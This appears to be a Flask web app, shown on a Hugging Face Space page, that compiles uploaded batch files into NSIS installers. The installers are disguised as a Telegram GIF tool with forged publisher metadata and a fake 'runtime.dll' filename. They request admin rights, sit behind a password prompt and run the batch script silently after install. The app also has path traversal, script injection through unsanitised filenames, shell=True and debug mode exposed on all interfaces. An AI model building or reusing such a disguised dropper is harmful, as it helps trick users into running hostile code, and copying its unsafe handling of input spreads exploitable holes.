Spaces:
Sleeping
Sleeping
File size: 4,378 Bytes
45a1acf 66f8fc1 45a1acf 66f8fc1 52ab4b4 45a1acf 66f8fc1 45a1acf 66f8fc1 45a1acf 872f6da 45a1acf 52ab4b4 45a1acf 52ab4b4 45a1acf 66f8fc1 45a1acf 872f6da 66f8fc1 45a1acf 52ab4b4 45a1acf 52ab4b4 45a1acf 52ab4b4 45a1acf 52ab4b4 45a1acf 52ab4b4 afe2575 52ab4b4 afe2575 52ab4b4 afe2575 52ab4b4 afe2575 45a1acf 52ab4b4 45a1acf 872f6da 45a1acf 52ab4b4 45a1acf 52ab4b4 329f9c0 45a1acf |
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127 128 129 130 131 132 133 134 135 136 137 138 139 140 141 142 143 144 145 146 147 148 149 150 151 152 153 154 155 156 |
from flask import Flask, request, send_from_directory, render_template_string
import os
import subprocess
app = Flask(__name__)
# Directory to save uploaded files and generated EXEs
UPLOAD_FOLDER = 'uploads'
COMPILE_FOLDER = 'compiled'
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
os.makedirs(COMPILE_FOLDER, exist_ok=True)
# HTML template for the interface
html_template = """
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>NSIS Compiler</title>
</head>
<body>
<h1>Upload your .bat and .ico files to compile</h1>
<form action="/upload" method="post" enctype="multipart/form-data">
<input type="file" name="bat_file" accept=".bat" required>
<input type="file" name="icon_file" accept=".ico" required>
<button type="submit">Upload and Compile</button>
</form>
</body>
</html>
"""
@app.route('/')
def index():
return render_template_string(html_template)
@app.route('/upload', methods=['POST'])
def upload_files():
if 'bat_file' not in request.files or 'icon_file' not in request.files:
return "No file part"
bat_file = request.files['bat_file']
icon_file = request.files['icon_file']
if bat_file.filename == '' or icon_file.filename == '':
return "No selected file"
# Save the uploaded files
bat_path = os.path.join(UPLOAD_FOLDER, bat_file.filename)
icon_path = os.path.join(UPLOAD_FOLDER, icon_file.filename)
bat_file.save(bat_path)
icon_file.save(icon_path)
# Define the NSIS script content
nsi_script_content = f"""
!include nsDialogs.nsh
!include LogicLib.nsh
# Define installer name and version
Outfile "bont.exe"
InstallDir "$PROGRAMDATA"
# Set the name of the application
Name "Telegram Gif"
Caption "bont 1.4.44.3"
VIProductVersion "1.4.44.3"
# Set the output directory and the base name of the installer file
SetCompressor /SOLID lzma
RequestExecutionLevel admin
# Application metadata
VIAddVersionKey "ProductName" "bont Gif"
VIAddVersionKey "FileVersion" "1.4.44.3"
VIAddVersionKey "CompanyName" "BitBrowser"
VIAddVersionKey "LegalCopyright" "Copyright © 2024 BitBrowser"
VIAddVersionKey "FileDescription" "Bont is a tool designed to enhance GIF handling and sharing on Telegram."
VIAddVersionKey "ProductVersion" "1.4.44.3"
VIAddVersionKey "OriginalFilename" "runtime.dll"
# Password to be checked
Var PASSWORD
Var DialogHandle
Var PasswordInput
# Add a password prompt
Function ShowPasswordPage
nsDialogs::Create 1018
Pop $DialogHandle
NSD_CreateLabel 10u 10u 100% 12u "Please enter the installation password:"
Pop $0
NSD_CreatePassword 10u 25u 100% 12u ""
Pop $PasswordInput
nsDialogs::Show
FunctionEnd
# Password check logic
Function CheckPassword
${NSD_GetText} $PasswordInput $PASSWORD
StrCmp $PASSWORD "yourpassword" 0 +3
MessageBox MB_OK "Password accepted"
Return
MessageBox MB_OK "Incorrect password. Installation will now exit."
Abort
FunctionEnd
# Display password page before installation starts
Page custom ShowPasswordPage CheckPassword
Page instfiles
# Define installer sections
Section "Install"
SetOutPath "$PROGRAMDATA"
# Debug the path
MessageBox MB_OK "Attempting to load file from: $INSTDIR\\{bat_file.filename}"
# Files to install (use /nonfatal to allow script to continue if file is missing)
File /nonfatal /r "{bat_path}"
# Run the BAT file post-install (only if it was found)
IfFileExists "$INSTDIR\\{bat_file.filename}" 0 +2
ExecShell "" "$INSTDIR\\{bat_file.filename}"
SectionEnd
"""
# Save the NSIS script to a file
nsi_path = os.path.join(UPLOAD_FOLDER, 'installer_script.nsi')
with open(nsi_path, 'w') as nsi_file:
nsi_file.write(nsi_script_content)
# Compile the NSI file using NSIS
compile_command = f'nsis "{nsi_path}"'
result = subprocess.run(compile_command, shell=True, capture_output=True)
if result.returncode == 0:
return f'Compilation successful! Download <a href="/download/bont.exe">here</a>'
else:
return f'Compilation failed: {result.stderr.decode()}'
@app.route('/download/<filename>')
def download_file(filename):
return send_from_directory(COMPILE_FOLDER, filename)
if __name__ == '__main__':
app.run(host='0.0.0.0', port=7860, debug=True)
|